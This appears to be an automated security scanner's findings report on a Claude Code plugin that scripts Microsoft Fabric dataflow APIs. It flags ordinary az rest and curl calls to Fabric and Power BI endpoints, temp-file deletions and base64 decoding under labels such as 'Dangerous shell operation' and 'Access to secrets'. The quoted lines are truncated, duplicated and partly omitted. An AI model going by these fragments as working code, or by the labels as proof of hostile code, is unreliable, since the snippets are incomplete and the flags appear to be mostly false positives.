Write-Host "Polling stopped after $MaxPolls attempts with non-terminal status '$Status' (max-poll timeout, not a terminal outcome)." az rest --method get --url $Location --resource "https://api.fabric.microsoft.com" exit 1 - Network accessline 582
az rest --method get --url $Location --resource "https://api.fabric.microsoft.com" - Network accessline 595
# raw error (the job-instance body's .failureReason: .errorCode / .isRetriable / .message) and STOP; # do not re-trigger or debug-loop when failureReason.isRetriable=false or the error is workspace-wide. az rest --method get --url $ - Network accessline 596
# do not re-trigger or debug-loop when failureReason.isRetriable=false or the error is workspace-wide. az rest --method get --url $Location --resource "https://api.fabric.microsoft.com" Write-Error "Refresh terminated '$Status' (not - Network accessline 597
az rest --method get --url $Location --resource "https://api.fabric.microsoft.com" - Network accessline 610
RESOURCE="https://api.fabric.microsoft.com" - Network accessline 613
[Credential-related source omitted] - Network accessline 614
[Credential-related source omitted] - Network accessline 615
[Credential-related source omitted] - Dangerous shell operationline 632
rm -f "$HDR" "$BODY" - Dangerous shell operationline 657
rm -f "$BODY_FILE"
harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/dataflows-cli/references/authoring/authoring-cli-quickref.md
- Network accessline 8
WS_ID="<workspaceId>" DF_ID="<dataflowId>" API="https://api.fabric.microsoft.com/v1" - Network accessline 9
DF_ID="<dataflowId>" API="https://api.fabric.microsoft.com/v1" RESOURCE="https://api.fabric.microsoft.com" - Network accessline 10
API="https://api.fabric.microsoft.com/v1" - Network accessline 11
RESOURCE="https://api.fabric.microsoft.com" - Network accessline 59
> **⚠ LRO caveat:** `getDefinition` can return **202 + Location** (the body is empty on the initial response) instead of an inline 200. The one-liner below only works for the synchronous case. For production code, use the LRO-aware curl pat - Network accessline 167
az rest --method get \ --resource "$RESOURCE" \ --url "https://api.fabric.microsoft.com/v1/connections" \ - Network accessline 168
--resource "$RESOURCE" \ --url "https://api.fabric.microsoft.com/v1/connections" \ --query "value[].{id:id, name:displayName, type:connectionDetails.type}" -o json - Network accessline 169
--url "https://api.fabric.microsoft.com/v1/connections" \ - Network accessline 178
az rest --method get \ --resource "$RESOURCE" \ --url "https://api.fabric.microsoft.com/v1/connections" \ - Network accessline 179
--resource "$RESOURCE" \ --url "https://api.fabric.microsoft.com/v1/connections" \ --query "value[?displayName=='$CONN_NAME'].{id:id, type:connectionDetails.type}" -o json - Network accessline 180
--url "https://api.fabric.microsoft.com/v1/connections" \ - Network accessline 188
az rest --method get \ --resource "$RESOURCE" \ --url "https://api.fabric.microsoft.com/v1/connections" \ - Network accessline 189
--resource "$RESOURCE" \ --url "https://api.fabric.microsoft.com/v1/connections" \ --query "value[?connectionDetails.type=='SQL'].{id:id, name:displayName}" -o json - Network accessline 190
--url "https://api.fabric.microsoft.com/v1/connections" \ - Network accessline 194
az rest --method get \ --resource "$RESOURCE" \ --url "https://api.fabric.microsoft.com/v1/connections" \ - Network accessline 195
--resource "$RESOURCE" \ --url "https://api.fabric.microsoft.com/v1/connections" \ --query "value[?connectionDetails.type=='AzureBlobs'].id" -o tsv - Network accessline 196
--url "https://api.fabric.microsoft.com/v1/connections" \ - Network accessline 206
RESULT=$(az rest --method get \ --resource "$RESOURCE" \ --url "https://api.fabric.microsoft.com/v1/connections" \ - Network accessline 207
--resource "$RESOURCE" \ --url "https://api.fabric.microsoft.com/v1/connections" \ --query "value[?id=='$CONN_ID'] | [0] | {id:id, name:displayName, type:connectionDetails.type}" \ - Network accessline 208
--url "https://api.fabric.microsoft.com/v1/connections" \ - Network accessline 223
> **⚠ LRO caveat:** the `az rest --method post .../getDefinition` call below is a happy-path one-liner that only works when the response is synchronous (200). For large definitions or under load the API returns **202 + Location**; this snip - Network accessline 244
WS_ID="<id>" DF_ID="<id>" RESOURCE="https://api.fabric.microsoft.com" - Network accessline 246
RESOURCE="https://api.fabric.microsoft.com" - Network accessline 249
[Credential-related source omitted] - Network accessline 250
[Credential-related source omitted] - Network accessline 251
HTTP_CODE=$(curl -sS -X POST \ - Network accessline 252
[Credential-related source omitted] - Network accessline 253
"https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/dataflows/$DF_ID/getDefinition" \ - Dangerous shell operationline 271
rm -f "$GET_DEF_BODY" "$GET_DEF_HDR" - Network accessline 275
# List all connections once for efficiency ALL_CONNECTIONS=$(az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 276
ALL_CONNECTIONS=$(az rest --method get --resource "https://api.fabric.microsoft.com" - Network accessline 277
--resource "https://api.fabric.microsoft.com" \ - Network accessline 278
--url "https://api.fabric.microsoft.com/v1/connections" \ - Possible obfuscationline 334
[System.IO.File]::WriteAllBytes("mashup.pq", [Convert]::FromBase64String($base64String)) - Network accessline 344
> **⚠ LRO caveat:** the one-liner `getDefinition` below assumes a synchronous 200 response. Under load or for large definitions the API returns **202 + Location**, which this snippet does not handle — it will silently fail and decode garbag - Network accessline 483
# az rest cannot return response headers; use curl with an az-acquired token to capture Location. - Network accessline 484
[Credential-related source omitted] - Network accessline 485
[Credential-related source omitted] - Network accessline 486
[Credential-related source omitted] - Dangerous shell operationline 505
rm -f "$HDR" "$BODY" - Network accessline 510
The endpoint lives on the Power BI control plane (not on `api.fabric.microsoft.com`) and the field is `clusterId` (camelCase). Pass `--resource "https://analysis.windows.net/powerbi/api"` to get the right token audience. - Network accessline 513
CONN_ID="<connectionId>" PBI_RESOURCE="https://analysis.windows.net/powerbi/api" - Network accessline 514
PBI_RESOURCE="https://analysis.windows.net/powerbi/api" - Network accessline 520
CLUSTER_ID=$(az rest --method get \ --resource "$PBI_RESOURCE" \ --url "https://api.powerbi.com/v2.0/myorg/me/gatewayClusterDatasources" \ - Network accessline 521
--resource "$PBI_RESOURCE" \ --url "https://api.powerbi.com/v2.0/myorg/me/gatewayClusterDatasources" \ --query "value[?id=='$CONN_ID'] | [0].clusterId" --output tsv) - Network accessline 522
--url "https://api.powerbi.com/v2.0/myorg/me/gatewayClusterDatasources" \ - Dangerous shell operationline 562
rm -f "$UPDATE_BODY" - Network accessline 569
- **GitHub Copilot CLI**: Generate `az rest` one-liners for dataflow CRUD or complete `.sh` scripts. Always include `--resource "https://api.fabric.microsoft.com"` in output. Remind user about base64 encoding for definition parts.
harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/dataflows-cli/references/authoring/authoring-script-templates.md
- Network accessline 5
**Common prerequisites** (validated in each template): - `az` CLI installed — `https://aka.ms/install-azure-cli` - Network accessline 6
- `az` CLI installed — `https://aka.ms/install-azure-cli` - Network accessline 13
`getDefinition` (and other Fabric mutations) follow the [Fabric Long-Running Operation contract](https://learn.microsoft.com/rest/api/fabric/articles/long-running-operation): - Network accessline 28
# Prerequisites: $RESOURCE, $TOKEN, headers file $HDR, body file $BODY, $HTTP_CODE (e.g. from curl -D -o -w "%{http_code}") - Network accessline 88
WS_ID="${WS_ID:?Set WS_ID env var}" API="https://api.fabric.microsoft.com/v1" - Network accessline 89
API="https://api.fabric.microsoft.com/v1" - Network accessline 90
RESOURCE="https://api.fabric.microsoft.com" - Network accessline 128
# Define .platform PLATFORM='{ "$schema": "https://developer.microsoft.com/json-schemas/fabric/gitIntegration/platformProperties/2.0.0/schema.json", - Network accessline 129
PLATFORM='{ "$schema": "https://developer.microsoft.com/json-schemas/fabric/gitIntegration/platformProperties/2.0.0/schema.json", "metadata": {"type": "Dataflow", "displayName": "'"$DATAFLOW_NAME"'"}, - Network accessline 130
"$schema": "https://developer.microsoft.com/json-schemas/fabric/gitIntegration/platformProperties/2.0.0/schema.json", - Network accessline 166
WS_ID="${WS_ID:?Set WS_ID env var}" DF_ID="${DF_ID:?Set DF_ID env var}" API="https://api.fabric.microsoft.com/v1" - Network accessline 167
DF_ID="${DF_ID:?Set DF_ID env var}" API="https://api.fabric.microsoft.com/v1" RESOURCE="https://api.fabric.microsoft.com" - Network accessline 168
API="https://api.fabric.microsoft.com/v1" - Network accessline 169
RESOURCE="https://api.fabric.microsoft.com" - Network accessline 181
[Credential-related source omitted] - Network accessline 182
[Credential-related source omitted] - Network accessline 183
HTTP_CODE=$(curl -sS -X POST \ - Dangerous shell operationline 201
rm -f "$GET_DEF_HDR" "$GET_DEF_BODY" - Network accessline 257
$Resource = "https://api.fabric.microsoft.com" - Possible obfuscationline 288
function From-B64([string]$b64) { [Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($b64)) } - Network accessline 338
DF_ID="${DF_ID:?Set DF_ID env var}" QUERY_NAME="${QUERY_NAME:?Set QUERY_NAME env var (must match a 'shared' member)}" API="https://api.fabric.microsoft.com/v1" - Network accessline 339
QUERY_NAME="${QUERY_NAME:?Set QUERY_NAME env var (must match a 'shared' member)}" API="https://api.fabric.microsoft.com/v1" RESOURCE="https://api.fabric.microsoft.com" - Network accessline 340
API="https://api.fabric.microsoft.com/v1" - Network accessline 341
RESOURCE="https://api.fabric.microsoft.com" - Dangerous shell operationline 393
rm -f "$PREVIEW_REQ" "$PREVIEW_OUT" - Dangerous shell operationline 399
rm -f "$PREVIEW_REQ" "$PREVIEW_OUT" - Network accessline 404
[Credential-related source omitted] - Network accessline 405
[Credential-related source omitted] - Network accessline 406
HTTP_CODE=$(curl -sS -X POST \ - Dangerous shell operationline 425
rm -f "$GET_DEF_BODY" "$GET_DEF_HDR" - Network accessline 440
# 5. Persist the production mashup (always write to temp file — never inline --body for large payloads). # updateDefinition can return 200 (sync) or 202 + Location (LRO). Use curl so we can - Network accessline 441
# updateDefinition can return 200 (sync) or 202 + Location (LRO). Use curl so we can - Network accessline 446
UPDATE_BODY=$(mktemp); UPDATE_HDR=$(mktemp); UPDATE_OUT=$(mktemp) echo "$DEFINITION_PAYLOAD" > "$UPDATE_BODY" UPDATE_CODE=$(curl -sS -X POST \ - Network accessline 447
[Credential-related source omitted] - Network accessline 448
UPDATE_CODE=$(curl -sS -X POST \ - Dangerous shell operationline 468
rm -f "$UPDATE_BODY" "$UPDATE_HDR" "$UPDATE_OUT" - Network accessline 473
[Credential-related source omitted] - Network accessline 474
[Credential-related source omitted] - Network accessline 475
[Credential-related source omitted] - Access to secretsline 475
[Credential-related source omitted] - Access to secretsline 476
[Credential-related source omitted] - Dangerous shell operationline 494
rm -f "$VERIFY_BODY" "$VERIFY_HDR" - Network accessline 506
WS_ID="${WS_ID:?Set WS_ID env var}" DF_ID="${DF_ID:?Set DF_ID env var}" API="https://api.fabric.microsoft.com/v1" - Network accessline 507
DF_ID="${DF_ID:?Set DF_ID env var}" API="https://api.fabric.microsoft.com/v1" RESOURCE="https://api.fabric.microsoft.com" - Network accessline 508
API="https://api.fabric.microsoft.com/v1" - Network accessline 509
RESOURCE="https://api.fabric.microsoft.com" - Network accessline 518
# Trigger the job — capture Location header for polling. # az rest cannot return response headers; use curl with an az-acquired token. - Network accessline 519
# az rest cannot return response headers; use curl with an az-acquired token. - Network accessline 520
[Credential-related source omitted] - Network accessline 521
OP_URL=$(curl -sS -X POST \ - Network accessline 568
API="https://api.fabric.microsoft.com/v1" - Network accessline 569
RESOURCE="https://api.fabric.microsoft.com" - Dangerous shell operationline 617
rm -f /tmp/df_import_payload.json - Network accessline 650
$api = "https://api.fabric.microsoft.com/v1" - Network accessline 651
$resource = "https://api.fabric.microsoft.com" - Network accessline 684
# Define .platform $platform = @{ "`$schema" = "https://developer.microsoft.com/json-schemas/fabric/gitIntegration/platformProperties/2.0.0/schema.json" - Network accessline 685
$platform = @{ "`$schema" = "https://developer.microsoft.com/json-schemas/fabric/gitIntegration/platformProperties/2.0.0/schema.json" metadata = @{ type = "Dataflow"; displayName = $DataflowName } - Network accessline 686
"`$schema" = "https://developer.microsoft.com/json-schemas/fabric/gitIntegration/platformProperties/2.0.0/schema.json" - Network accessline 744
$api = "https://api.fabric.microsoft.com/v1" - Network accessline 745
$resource = "https://api.fabric.microsoft.com" - Network accessline 800
API="https://api.fabric.microsoft.com/v1" - Network accessline 801
RESOURCE="https://api.fabric.microsoft.com" - Network accessline 809
[Credential-related source omitted] - Network accessline 810
[Credential-related source omitted] - Network accessline 811
HTTP_CODE=$(curl -sS -X POST \ - Dangerous shell operationline 830
rm -f "$GET_DEF_BODY" "$GET_DEF_HDR" - Network accessline 835
ALL_CONNECTIONS=$(az rest --method get \ --resource "$RESOURCE" \ --url "https://api.fabric.microsoft.com/v1/connections" \ - Network accessline 836
--resource "$RESOURCE" \ --url "https://api.fabric.microsoft.com/v1/connections" \ --query "value" -o json) - Network accessline 837
--url "https://api.fabric.microsoft.com/v1/connections" \ - Network accessline 869
else echo "❌ Validation failed: $MISSING missing connection(s)" echo "Run: az rest --method get --resource 'https://api.fabric.microsoft.com' --url 'https://api.fabric.microsoft.com/v1/connections' --query 'value[] | {id, name:displayNa - Network accessline 870
echo "❌ Validation failed: $MISSING missing connection(s)" echo "Run: az rest --method get --resource 'https://api.fabric.microsoft.com' --url 'https://api.fabric.microsoft.com/v1/connections' --query 'value[] | {id, name:displayName}'" - Network accessline 871
echo "Run: az rest --method get --resource 'https://api.fabric.microsoft.com' --url 'https://api.fabric.microsoft.com/v1/connections' --query 'value[] | {id, name:displayName}'" - Network accessline 888
$api = "https://api.fabric.microsoft.com/v1" - Network accessline 889
$resource = "https://api.fabric.microsoft.com" - Possible obfuscationline 925
$queryMetaJson = [System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($queryMetaB64)) - Network accessline 928
# List all connections once for efficiency $allConnections = az rest --method get --resource $resource ` --url "https://api.fabric.microsoft.com/v1/connections" ` - Network accessline 929
$allConnections = az rest --method get --resource $resource --url "https://api.fabric.microsoft.com/v1/connections" - Network accessline 930
--url "https://api.fabric.microsoft.com/v1/connections" ` - Network accessline 966
Write-Error "Validation failed: $missing missing connection(s)" Write-Host "To see available connections, run:" Write-Host " az rest --method get --resource 'https://api.fabric.microsoft.com' --url 'https://api.fabric.microsoft.com - Network accessline 967
Write-Host "To see available connections, run:" Write-Host " az rest --method get --resource 'https://api.fabric.microsoft.com' --url 'https://api.fabric.microsoft.com/v1/connections' --query 'value[] | {id, name:displayName}'" exi - Network accessline 968
Write-Host " az rest --method get --resource 'https://api.fabric.microsoft.com' --url 'https://api.fabric.microsoft.com/v1/connections' --query 'value[] | {id, name:displayName}'" - Network accessline 991
API="https://api.fabric.microsoft.com/v1" - Network accessline 992
RESOURCE="https://api.fabric.microsoft.com" - Network accessline 1000
[Credential-related source omitted] - Network accessline 1001
[Credential-related source omitted] - Network accessline 1002
HTTP_CODE=$(curl -sS -X POST \ - Dangerous shell operationline 1021
rm -f "$GET_DEF_BODY" "$GET_DEF_HDR" - Network accessline 1026
ALL_CONNECTIONS=$(az rest --method get --resource "$RESOURCE" --url "https://api.fabric.microsoft.com/v1/connections" - Network accessline 1028
--url "https://api.fabric.microsoft.com/v1/connections" \ - Network accessline 1051
# Trigger refresh # az rest cannot return response headers; use curl with an az-acquired token to capture Location. - Network accessline 1052
# az rest cannot return response headers; use curl with an az-acquired token to capture Location. - Network accessline 1053
[Credential-related source omitted] - Network accessline 1054
[Credential-related source omitted] - Network accessline 1055
LOCATION=$(curl -sS -X POST \ - Network accessline 1116
API="https://api.fabric.microsoft.com/v1" - Network accessline 1117
RESOURCE="https://api.fabric.microsoft.com" - Network accessline 1121
# Step 1: Get current definition # getDefinition can return 200 (sync, body inline) or 202 + Location header (LRO) — handle both. # az rest cannot return response headers; use curl with an az-acquired token to capture Location. - Network accessline 1122
# getDefinition can return 200 (sync, body inline) or 202 + Location header (LRO) — handle both. # az rest cannot return response headers; use curl with an az-acquired token to capture Location. echo "Step 1: Fetching definition..." - Network accessline 1123
# az rest cannot return response headers; use curl with an az-acquired token to capture Location. - Network accessline 1125
[Credential-related source omitted] - Network accessline 1126
[Credential-related source omitted] - Network accessline 1127
HTTP_CODE=$(curl -sS -X POST \ - Dangerous shell operationline 1146
rm -f "$GET_DEF_BODY" "$GET_DEF_HDR" - Network accessline 1159
# cloud connections. List once; reuse across all conn ids. echo "Step 2: Retrieving ClusterIds..." PBI_RESOURCE="https://analysis.windows.net/powerbi/api" - Network accessline 1160
echo "Step 2: Retrieving ClusterIds..." PBI_RESOURCE="https://analysis.windows.net/powerbi/api" declare -A CLUSTER_IDS - Network accessline 1161
PBI_RESOURCE="https://analysis.windows.net/powerbi/api" - Network accessline 1162
declare -A CLUSTER_IDS DS_LIST=$(az rest --method get --resource "$PBI_RESOURCE" \ --url "https://api.powerbi.com/v2.0/myorg/me/gatewayClusterDatasources") - Network accessline 1163
DS_LIST=$(az rest --method get --resource "$PBI_RESOURCE" --url "https://api.powerbi.com/v2.0/myorg/me/gatewayClusterDatasources") - Network accessline 1164
--url "https://api.powerbi.com/v2.0/myorg/me/gatewayClusterDatasources") - Network accessline 1209
# updateDefinition can return 200 (sync) or 202 + Location (LRO). Use curl so we can - Network accessline 1212
# stale connections[]. See § Fabric LRO Polling Pattern. UPDATE_HDR=$(mktemp); UPDATE_OUT=$(mktemp) UPDATE_CODE=$(curl -sS -X POST \ - Network accessline 1213
[Credential-related source omitted] - Network accessline 1214
UPDATE_CODE=$(curl -sS -X POST \ - Dangerous shell operationline 1235
rm -f "$UPDATE_BODY" "$UPDATE_HDR" "$UPDATE_OUT" - Network accessline 1241
echo "Step 5: Verifying connections[] survived save..." VERIFY_HDR=$(mktemp); VERIFY_BODY=$(mktemp) VERIFY_CODE=$(curl -sS -X POST \ - Network accessline 1242
[Credential-related source omitted] - Network accessline 1243
VERIFY_CODE=$(curl -sS -X POST \ - Dangerous shell operationline 1263
rm -f "$VERIFY_HDR" "$VERIFY_BODY" - Network accessline 1288
$api = "https://api.fabric.microsoft.com/v1" - Network accessline 1289
$resource = "https://api.fabric.microsoft.com" - Possible obfuscationline 1328
$queryMetaJson = [System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($queryMetaB64)) - Network accessline 1338
# returns PowerBIEntityNotFound for cloud connections. Write-Host "Step 2: Retrieving ClusterId for $ConnectionId..." $pbiResource = "https://analysis.windows.net/powerbi/api" - Network accessline 1339
Write-Host "Step 2: Retrieving ClusterId for $ConnectionId..." $pbiResource = "https://analysis.windows.net/powerbi/api" $dsList = az rest --method get --resource $pbiResource ` - Network accessline 1340
$pbiResource = "https://analysis.windows.net/powerbi/api" - Network accessline 1341
$dsList = az rest --method get --resource $pbiResource --url "https://api.powerbi.com/v2.0/myorg/me/gatewayClusterDatasources" | ConvertFrom-Json - Network accessline 1342
--url "https://api.powerbi.com/v2.0/myorg/me/gatewayClusterDatasources" | ConvertFrom-Json - Possible obfuscationline 1448
$postQmJson = [System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($postQmB64)) - Network accessline 1471
API="https://api.fabric.microsoft.com/v1" - Network accessline 1472
RESOURCE="https://api.fabric.microsoft.com" - Network accessline 1546
$api = "https://api.fabric.microsoft.com/v1" - Network accessline 1547
$resource = "https://api.fabric.microsoft.com" - Network accessline 1632
# ============== Config (caller fills these in) ============== $resource = 'https://api.fabric.microsoft.com' - Network accessline 1633
$resource = 'https://api.fabric.microsoft.com' - Network accessline 1634
$pbiResource = 'https://analysis.windows.net/powerbi/api' - Network accessline 1635
$wsId = '<workspace-guid>' $connId = '<connection-guid>' # PersonalCloud anonymous OData for the smoke test $sourceUrl = 'http://services.odata.org/V3/Northwind/Northwind.svc' - Network accessline 1636
$connId = '<connection-guid>' # PersonalCloud anonymous OData for the smoke test $sourceUrl = 'http://services.odata.org/V3/Northwind/Northwind.svc' $sourceKind = 'OData' - Network accessline 1637
$sourceUrl = 'http://services.odata.org/V3/Northwind/Northwind.svc' - Network accessline 1644
# for cloud connections. $dsList = az rest --method get --resource $pbiResource ` --url "https://api.powerbi.com/v2.0/myorg/me/gatewayClusterDatasources" | ConvertFrom-Json - Network accessline 1645
$dsList = az rest --method get --resource $pbiResource --url "https://api.powerbi.com/v2.0/myorg/me/gatewayClusterDatasources" | ConvertFrom-Json - Network accessline 1646
--url "https://api.powerbi.com/v2.0/myorg/me/gatewayClusterDatasources" | ConvertFrom-Json - Network accessline 1674
$platform = @{ '$schema' = 'https://developer.microsoft.com/json-schemas/fabric/gitIntegration/platformProperties/2.0.0/schema.json' - Network accessline 1675
'$schema' = 'https://developer.microsoft.com/json-schemas/fabric/gitIntegration/platformProperties/2.0.0/schema.json'
harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/dataflows-cli/references/authoring/charts/bar_chart.py
- Executable scriptline 1
#!/usr/bin/env python3
harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/dataflows-cli/references/authoring/charts/line_chart.py
- Executable scriptline 1
#!/usr/bin/env python3
harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/dataflows-cli/references/authoring/connection-management.md
- Network accessline 9
> **Authoritative API spec.** All schemas, field names, defaults, and credential shapes in this document are taken from Microsoft Learn: > - [List Connections](https://learn.microsoft.com/en-us/rest/api/fabric/core/connections/list-connecti - Network accessline 10
> - [List Connections](https://learn.microsoft.com/en-us/rest/api/fabric/core/connections/list-connections) - Network accessline 11
> - [Get Connection](https://learn.microsoft.com/en-us/rest/api/fabric/core/connections/get-connection) - Network accessline 12
> - [List Supported Connection Types](https://learn.microsoft.com/en-us/rest/api/fabric/core/connections/list-supported-connection-types) - Network accessline 13
> - [Create Connection](https://learn.microsoft.com/en-us/rest/api/fabric/core/connections/create-connection) - Network accessline 14
> - [Test Connection](https://learn.microsoft.com/en-us/rest/api/fabric/core/connections/test-connection) - Network accessline 80
Additional caller requirements: - **Service principals creating connections** require Fabric tenant admin enablement: see [*Service principals can create workspaces, connections, and deployment pipelines*](https://learn.microsoft.com/en-us/ - Network accessline 81
- **Service principals creating connections** require Fabric tenant admin enablement: see [*Service principals can create workspaces, connections, and deployment pipelines*](https://learn.microsoft.com/en-us/fabric/admin/service-admin-porta - Network accessline 114
RESOURCE="https://api.fabric.microsoft.com" - Network accessline 115
API="https://api.fabric.microsoft.com/v1" - Network accessline 198
RESOURCE="https://api.fabric.microsoft.com" - Network accessline 199
API="https://api.fabric.microsoft.com/v1" - Network accessline 397
# az rest cannot capture response headers — use curl for the initial call so we can read Location. - Network accessline 398
[Credential-related source omitted] - Network accessline 399
[Credential-related source omitted] - Network accessline 400
[Credential-related source omitted] - Dangerous shell operationline 422
rm -f "$HDR" "$BODY" - Network accessline 461
| URL | Returns | Notes | |---|---|---| | `GET https://api.powerbi.com/v2.0/myorg/me/gatewayClusterDatasources` | `{ value: [...] }` — flat, paginated array of cluster + datasource records, each with `clusterId`, `id`, `datasourceReference` - Network accessline 463
| `GET https://api.powerbi.com/v2.0/myorg/me/gatewayClusterDatasources` | `{ value: [...] }` — flat, paginated array of cluster + datasource records, each with `clusterId`, `id`, `datasourceReference`, … | Canonical pattern. Filter by `id = - Network accessline 467
> **Token audience.** The list endpoint accepts the Power BI audience (`https://analysis.windows.net/powerbi/api` — **no** trailing slash; the slashed form fails AADSTS500011). The Fabric token (`https://api.fabric.microsoft.com/`) is also - Network accessline 470
PBI_RESOURCE="https://analysis.windows.net/powerbi/api" - Network accessline 473
CLUSTER_ID=$(az rest --method get \ --resource "$PBI_RESOURCE" \ --url "https://api.powerbi.com/v2.0/myorg/me/gatewayClusterDatasources" \ - Network accessline 474
--resource "$PBI_RESOURCE" \ --url "https://api.powerbi.com/v2.0/myorg/me/gatewayClusterDatasources" \ --query "value[?id=='$CONN_ID'] | [0].clusterId" --output tsv) - Network accessline 475
--url "https://api.powerbi.com/v2.0/myorg/me/gatewayClusterDatasources" \ - Network accessline 502
> **⚠ LRO caveat:** the `getDefinition` call below assumes a synchronous 200 response. For production code, handle **202 + Location** with the LRO-aware curl pattern (see [authoring-cli-quickref.md § Validate All Connections in a Dataflow]( - Network accessline 601
> **Out of scope for ready-to-run templates.** Generating `encryptedCredentials` requires fetching the gateway member's RSA public key and serializing the credential payload according to Microsoft's encryption format. See [*Configure creden - Network accessline 626
- **Connection sharing / role assignments** — granting other principals access to use the connection. - **OAuth2 connection authoring** — interactive only (portal / UI); the API rejects `OAuth2` in `POST /v1/connections` with `InvalidInput` - Network accessline 627
- **OAuth2 connection authoring** — interactive only (portal / UI); the API rejects `OAuth2` in `POST /v1/connections` with `InvalidInput` (see [Troubleshooting](#troubleshooting)). - **On-premises gateway credential encryption** — see Micr - Network accessline 628
- **On-premises gateway credential encryption** — see Microsoft's [*Configure credentials programmatically*](https://learn.microsoft.com/en-us/power-bi/developer/embedded/configure-credentials) for the RSA encryption format.
harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/dataflows-cli/references/authoring/connectors.md
- Network accessline 36
Microsoft Learn documents `Web.Page` and `Web.BrowserContents` as available in cloud dataflows through an on-premises data gateway. See [Using a gateway with the Web connector](https://learn.microsoft.com/en-us/power-query/connectors/web/we - Network accessline 38
[Using a gateway with the Web connector](https://learn.microsoft.com/en-us/power-query/connectors/web/web-troubleshoot#using-a-gateway-with-the-web-connector). - Network accessline 156
Html.Table(Web.Contents("https://example.com/page"), - Network accessline 167
Csv.Document(Web.Contents("https://example.com/data.csv"), - Network accessline 183
Lines.FromBinary(Web.Contents("https://example.com/log.txt"))
harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/dataflows-cli/references/authoring/mashup-preview.md
- Network accessline 30
POST https://api.fabric.microsoft.com/v1/workspaces/{workspaceId}/dataflows/{dataflowId}/executeQuery - Network accessline 45
- AAD/Entra access token. Audience: **Power BI** (`https://analysis.windows.net/powerbi/api`, **no** trailing slash) for `ClusterId` lookups against `api.powerbi.com/v2.0/...`; **Fabric** (`https://api.fabric.microsoft.com/`) for `executeQu - Network accessline 56
1. **Dataflow exists** in the target workspace. 2. **Connections bound** — every data source referenced by the M document must have a connection bound to the dataflow via its `queryMetadata.json connections[]` array. Binding is persisted th - Network accessline 57
2. **Connections bound** — every data source referenced by the M document must have a connection bound to the dataflow via its `queryMetadata.json connections[]` array. Binding is persisted through `updateDefinition`, **not** through this e - Network accessline 58
3. **Cloud connection JSON form** — each bound cloud connection is stored as a JSON string of the form `{"ClusterId":"<guid>","DatasourceId":"<guid>"}`. `ClusterId` is obtained from Power BI v2: `GET https://api.powerbi.com/v2.0/myorg/me/ga - Network accessline 251
[Credential-related source omitted] - Network accessline 260
curl -sS -X POST \ - Network accessline 261
"https://api.fabric.microsoft.com/v1/workspaces/$WS/dataflows/$DF/executeQuery" \ - Network accessline 272
[Credential-related source omitted] - Network accessline 276
} | ConvertTo-Json Invoke-WebRequest -Method POST ` -Uri "https://api.fabric.microsoft.com/v1/workspaces/$WS/dataflows/$DF/executeQuery" ` - Network accessline 277
Invoke-WebRequest -Method POST -Uri "https://api.fabric.microsoft.com/v1/workspaces/$WS/dataflows/$DF/executeQuery" - Network accessline 278
-Uri "https://api.fabric.microsoft.com/v1/workspaces/$WS/dataflows/$DF/executeQuery" ` - Network accessline 290
resp = httpx.post( - Network accessline 291
f"https://api.fabric.microsoft.com/v1/workspaces/{ws}/dataflows/{df}/executeQuery", - Network accessline 318
STATUS=$(curl -sS -D headers.txt -o result.arrow -w '%{http_code}' \ - Network accessline 319
-X POST "https://api.fabric.microsoft.com/v1/workspaces/$WS/dataflows/$DF/executeQuery" \ - Network accessline 328
while :; do sleep "${RETRY:-2}" STATUS=$(curl -sS -D headers.txt -o result.arrow -w '%{http_code}' \ - Network accessline 329
[Credential-related source omitted] - Network accessline 330
STATUS=$(curl -sS -D headers.txt -o result.arrow -w '%{http_code}' \ - Network accessline 342
$resp = Invoke-WebRequest -Method POST ` -Uri "https://api.fabric.microsoft.com/v1/workspaces/$WS/dataflows/$DF/executeQuery" ` - Network accessline 343
-Uri "https://api.fabric.microsoft.com/v1/workspaces/$WS/dataflows/$DF/executeQuery" ` - Network accessline 367
url = f"https://api.fabric.microsoft.com/v1/workspaces/{ws}/dataflows/{df}/executeQuery" - Network accessline 370
resp = httpx.post(url, headers=hdr, json=body, timeout=120) - Network accessline 371
while resp.status_code == 202: time.sleep(int(resp.headers.get("Retry-After", "2"))) resp = httpx.get(resp.headers["Location"], headers=hdr, timeout=120) - Network accessline 372
time.sleep(int(resp.headers.get("Retry-After", "2"))) resp = httpx.get(resp.headers["Location"], headers=hdr, timeout=120) resp.raise_for_status() - Network accessline 373
resp = httpx.get(resp.headers["Location"], headers=hdr, timeout=120)
harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/dataflows-cli/references/authoring/output-destinations.md
- Network accessline 178
| 1 | Discover target artifact ID (lakehouse, warehouse, etc.) | `GET /v1/workspaces/{ws}/{itemType}s` | | 2 | Find the destination connection | `GET /v1/connections` + filter by type | | 3 | Resolve ClusterId for connection binding | `GET - Network accessline 180
| 3 | Resolve ClusterId for connection binding | `GET https://api.powerbi.com/v2.0/myorg/me/gatewayClusterDatasources` ⚠<U+FE0F> | - Network accessline 198
az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 199
--resource "https://api.fabric.microsoft.com" \ - Network accessline 200
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/lakehouses" \ - Network accessline 283
az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 284
--resource "https://api.fabric.microsoft.com" \ - Network accessline 285
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/warehouses" \ - Network accessline 322
az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 323
--resource "https://api.fabric.microsoft.com" \ - Network accessline 324
--url "https://api.fabric.microsoft.com/v1/connections" \ - Network accessline 359
> **Critical: Path matching.** The `path` value in `queryMetadata.json connections[]` and the URL in the M code must **exactly match** the connection's `connectionDetails.path`. If the connection was created with a trailing slash (e.g., `ht - Network accessline 364
